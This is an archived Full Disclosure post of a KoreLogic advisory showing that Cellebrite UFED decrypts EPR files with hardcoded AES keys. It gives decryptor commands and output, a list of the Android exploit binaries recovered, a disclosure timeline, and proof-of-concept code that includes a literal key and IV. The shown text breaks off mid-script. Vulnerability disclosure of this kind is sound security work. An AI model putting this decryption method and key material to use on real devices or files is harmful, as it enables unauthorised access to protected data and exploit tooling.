KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material

Related Vulnerabilities: CVE-2020-14474  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#31">By Date</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#31">By Thread</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: KoreLogic Disclosures via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Mon, 29 Jun 2020 15:46:42 -0500


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">KL-001-2020-003 : Cellebrite EPR Decryption Relies on Hardcoded AES Key Material

Title: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material
Advisory ID: KL-001-2020-003
Publication Date: 2020.06.29
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt">https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt</a>


1. Vulnerability Details

&nbsp;&nbsp;&nbsp;&nbsp; Affected Vendor: Cellebrite
&nbsp;&nbsp;&nbsp;&nbsp; Affected Product: UFED
&nbsp;&nbsp;&nbsp;&nbsp; Affected Version: 5.0 - 7.5.0.845
&nbsp;&nbsp;&nbsp;&nbsp; Platform: Embedded Windows
&nbsp;&nbsp;&nbsp;&nbsp; CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys
&nbsp;&nbsp;&nbsp;&nbsp; CVE ID: CVE-2020-14474


2. Vulnerability Description

&nbsp;&nbsp;&nbsp;&nbsp; The Cellebrite UFED Physical device relies on key material
&nbsp;&nbsp;&nbsp;&nbsp; hardcoded within both the executable code supporting the
&nbsp;&nbsp;&nbsp;&nbsp; decryption process and within the encrypted files themselves by
&nbsp;&nbsp;&nbsp;&nbsp; using a key enveloping technique. The recovered key material
&nbsp;&nbsp;&nbsp;&nbsp; is the same for every device running the same version of
&nbsp;&nbsp;&nbsp;&nbsp; the software and does not appear to be changed with each new
&nbsp;&nbsp;&nbsp;&nbsp; build. It is possible to reconstruct the decryption process
&nbsp;&nbsp;&nbsp;&nbsp; using the hardcoded key material and obtain easy access to
&nbsp;&nbsp;&nbsp;&nbsp; otherwise protected data.


3. Technical Description

&nbsp;&nbsp;&nbsp;&nbsp; A recursive listing of my standalone decryptor directory:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ find .
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./decrypt-epr
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/DLLs
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/DLLs/731
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/DLLs/731/FileUnpacking.dll
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/EPRs
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/EPRs/731
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./input/EPRs/731/Android.zip.epr
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./output
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./output/EPRs
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./output/EPRs/731
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./extract-keys
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./Makefile

&nbsp;&nbsp;&nbsp;&nbsp; (See the Proof of Concept section for relevant code snippets.)

&nbsp;&nbsp;&nbsp;&nbsp; First, we start by running the extract-keys script on the
&nbsp;&nbsp;&nbsp;&nbsp; relevant FileUnpacking.dll file. The provided Makefile will
&nbsp;&nbsp;&nbsp;&nbsp; automatically output the relevant key material to the same
&nbsp;&nbsp;&nbsp;&nbsp; directory where the DLL resides.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ make keys
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Extracting AES keys from input/DLLs/731/FileUnpacking.dll
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 64+0 records in
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 64+0 records out
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 64 bytes copied, 0.000186032 s, 344 kB/s
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 32+0 records in
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 32+0 records out
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 32 bytes copied, 0.000116104 s, 276 kB/s
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 636+0 records in
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 636+0 records out
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 636 bytes copied, 0.00140342 s, 453 kB/s
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finished

&nbsp;&nbsp;&nbsp;&nbsp; The extract-keys script contains a nested JSON-object and
&nbsp;&nbsp;&nbsp;&nbsp; iterates over the bytes of the file provided creating a SHA256
&nbsp;&nbsp;&nbsp;&nbsp; hash for each DWORD. The calculated hash is compared against
&nbsp;&nbsp;&nbsp;&nbsp; known matches and when found the script will automatically
&nbsp;&nbsp;&nbsp;&nbsp; extract the bytes relevant.

&nbsp;&nbsp;&nbsp;&nbsp; Now a selected EPR file may be decrypted. A good example is the
&nbsp;&nbsp;&nbsp;&nbsp; Android.zip.epr file, which contains a set of local privilege
&nbsp;&nbsp;&nbsp;&nbsp; escalation exploits.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] The EPR file specified exists.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] The specified EPR file has been read into memory.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Decrypter setup with key 1 for version 3
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Round one of the EPR decryption completed successfully.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Calculated that the flag will be: [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] The SHA256 key flag has been calculated.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Found the flag: [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] The SHA256 key flag has been found.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Decrypter setup with key 2 for version 3
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] AES Key: [REDACTED], IV: [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Decrypter setup with key 3 for version 3
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Finished decrypting all blocks.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Wrote 2552640 bytes to a broken file.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip &gt; /dev/null 
2&gt;&amp;1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Removing the broken file.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] done.

&nbsp;&nbsp;&nbsp;&nbsp; The decrypted file can then be unzipped.

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $ unzip Android.zip.epr.zip
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Archive:&nbsp; Android.zip.epr.zip
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: c2a_disable_selinux_32.ko
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: c2a_disable_selinux_64.ko
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: com.mr.meeseeks.apk
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: daemonize
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: dirtycow
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: dirtycow_32
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: DisableHuaweiLogging_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: django_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: EnableHuaweiLogging_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: EnableSharpRead_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: exploits_2.1.5769.csv
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: forensics
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: fourrunnerStatic_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: gb_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: nandd
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: nandread-pie-vold
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: nandread-pie_7182
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: nandread64-pie-vold
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: nandreadStatic_7182
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: patcher.exe
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: pingroot
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: pingroot_vultest
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: psneuter_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: RecoveryImageMap.csv
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: rootspotter.apk
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: rootspot_verify_env
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: rosecure_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: setuid_2.1.5767a
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: shellcode.bin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: shellcode_32_iptables.bin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: shellcode_32_oatdump.bin
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inflating: zergRush_2.1.5767a

&nbsp;&nbsp;&nbsp;&nbsp; The encryption algorithm uses a software-only key enveloping
&nbsp;&nbsp;&nbsp;&nbsp; technique where part of the key material is stored within
&nbsp;&nbsp;&nbsp;&nbsp; executable code and part within a encrypted header inside of
&nbsp;&nbsp;&nbsp;&nbsp; the encrypted file. The encrypted header is extracted from
&nbsp;&nbsp;&nbsp;&nbsp; the encrypted file and decrypted using key material hardcoded
&nbsp;&nbsp;&nbsp;&nbsp; within executable code.

&nbsp;&nbsp;&nbsp;&nbsp; Some of the bytes decrypted then undergo a XOR operation to
&nbsp;&nbsp;&nbsp;&nbsp; calculate the last DWORD of a SHA256 hash. Separately, a set
&nbsp;&nbsp;&nbsp;&nbsp; of 254 bytes is iterated over using 64 bytes per iteration. A
&nbsp;&nbsp;&nbsp;&nbsp; complete SHA256 hash is generated for each set of 64-bytes
&nbsp;&nbsp;&nbsp;&nbsp; and the ending DWORD of this hash is then compared against
&nbsp;&nbsp;&nbsp;&nbsp; the calculated DWORD.&nbsp; If there is a match the bytes used to
&nbsp;&nbsp;&nbsp;&nbsp; calculate the DWORD are the next set of key material.

&nbsp;&nbsp;&nbsp;&nbsp; The decryption tool outputs the following match:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Calculated that the flag will be: [REDACTED]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [+] The SHA256 key flag has been calculated.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-] Found the flag: [REDACTED]

&nbsp;&nbsp;&nbsp;&nbsp; The last DWORD matches. In fact there are a total of eight
&nbsp;&nbsp;&nbsp;&nbsp; possible intermediate keys that can be chosen from based on the
&nbsp;&nbsp;&nbsp;&nbsp; bytes observed.

&nbsp;&nbsp;&nbsp;&nbsp; A third and final key exists within each encrypted file
&nbsp;&nbsp;&nbsp;&nbsp; header. This key is decrypted using the hardcoded intermediate
&nbsp;&nbsp;&nbsp;&nbsp; key used for encrypted the selected file. From here bytes 0x80
&nbsp;&nbsp;&nbsp;&nbsp; through the end of the file are decrypted in blocks of 0x10000.


4. Mitigation and Remediation Recommendation

&nbsp;&nbsp;&nbsp;&nbsp; The vendor has informed KoreLogic that this vulnerability is
&nbsp;&nbsp;&nbsp;&nbsp; not present on recent versions of the UFED devices. Cellebrite
&nbsp;&nbsp;&nbsp;&nbsp; stated, "While the method described in the reports does not
&nbsp;&nbsp;&nbsp;&nbsp; work on recent versions (we previously made multiple changes
&nbsp;&nbsp;&nbsp;&nbsp; that broke it), the core key material was exposed and will be
&nbsp;&nbsp;&nbsp;&nbsp; rotated effective immediately."


5. Credit

&nbsp;&nbsp;&nbsp;&nbsp; This vulnerability was discovered by Matt Bergin (@thatguylevel)
&nbsp;&nbsp;&nbsp;&nbsp; of KoreLogic, Inc.


6. Disclosure Timeline

&nbsp;&nbsp;&nbsp;&nbsp; 2020.04.02 - KoreLogic submits vulnerability details to
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.04.02 - Cellebrite acknowledges receipt and the intention
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to investigate.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.13 - KoreLogic requests an update on the status of the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vulnerability report.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.05.14 - Cellebrite responds, notifying KoreLogic that the
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; technique is not applicable to newer UFED releases.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Requests time beyond the standard 45 business day
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; embargo to ensure all exposed keys have been changed.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.09 - 45 business days have elapsed since the report was
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; submitted to Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.12 - KoreLogic requests an update from Cellebrite.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.14 - Cellebrite reports that affected key material has
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; been retired.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.18 - CVE Requested.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.19 - MITRE issues CVE-2020-14474.
&nbsp;&nbsp;&nbsp;&nbsp; 2020.06.29 - KoreLogic public disclosure.


7. Proof of Concept

&nbsp;&nbsp;&nbsp;&nbsp; File Name: Makefile

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; clean:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o
-name '*.zip'`; do \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm -rf $$filepath ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; done

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; keys:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo Extracting AES keys from $$filepath ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ./extract-keys --file $$filepath &gt; $$filepath.keys ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if [ -f "$$filepath" ] ; then \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo Could not find extract-keys output ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fi \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; done ; \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo Finished

&nbsp;&nbsp;&nbsp;&nbsp; Script Name: extract-keys

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #!/usr/bin/python
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from optparse import OptionParser
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from os.path import exists, basename
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from binascii import hexlify
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from hashlib import sha256
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; from os import makedirs

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; keyMap = {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # UFED 5.1
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Dump_MotGSM.dll":{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "offsets":{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "aes":{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Key and IV already
public information
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "iv":"888c609edc9eb9dfb4d30dfebc9f0431"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #
<a rel="nofollow" href="https://github.com/cellebrited/cellebrite">https://github.com/cellebrited/cellebrite</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # UFED 7.3
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "FileUnpacking.dll":[
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "offsets":{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "aes":{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "keySize":32,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "keyHash":"[REDACTED]",&nbsp; # sha256 hash of first dword
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "ivSize":16,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "ivHash":"[REDACTED]"&nbsp;&nbsp;&nbsp; # sha256 hash of first dword
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "mapSize":256,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "mapHash":"[REDACTED]"&nbsp;&nbsp;&nbsp;&nbsp; # sha256 hash of first dword
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if __name__ == "__main__":
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser = OptionParser()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o,a = parser.parse_args()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (exists(o.file) != True):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[!] The specified file does not exist"
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with open(o.file,'rb') as fp:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fileData = fp.read()
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print "[-] Read {} bytes.".format(len(fileData))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (isinstance(keyMap[basename(o.file)], str)):
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ("Dump_MotGSM.dll" == basename(o.file)):
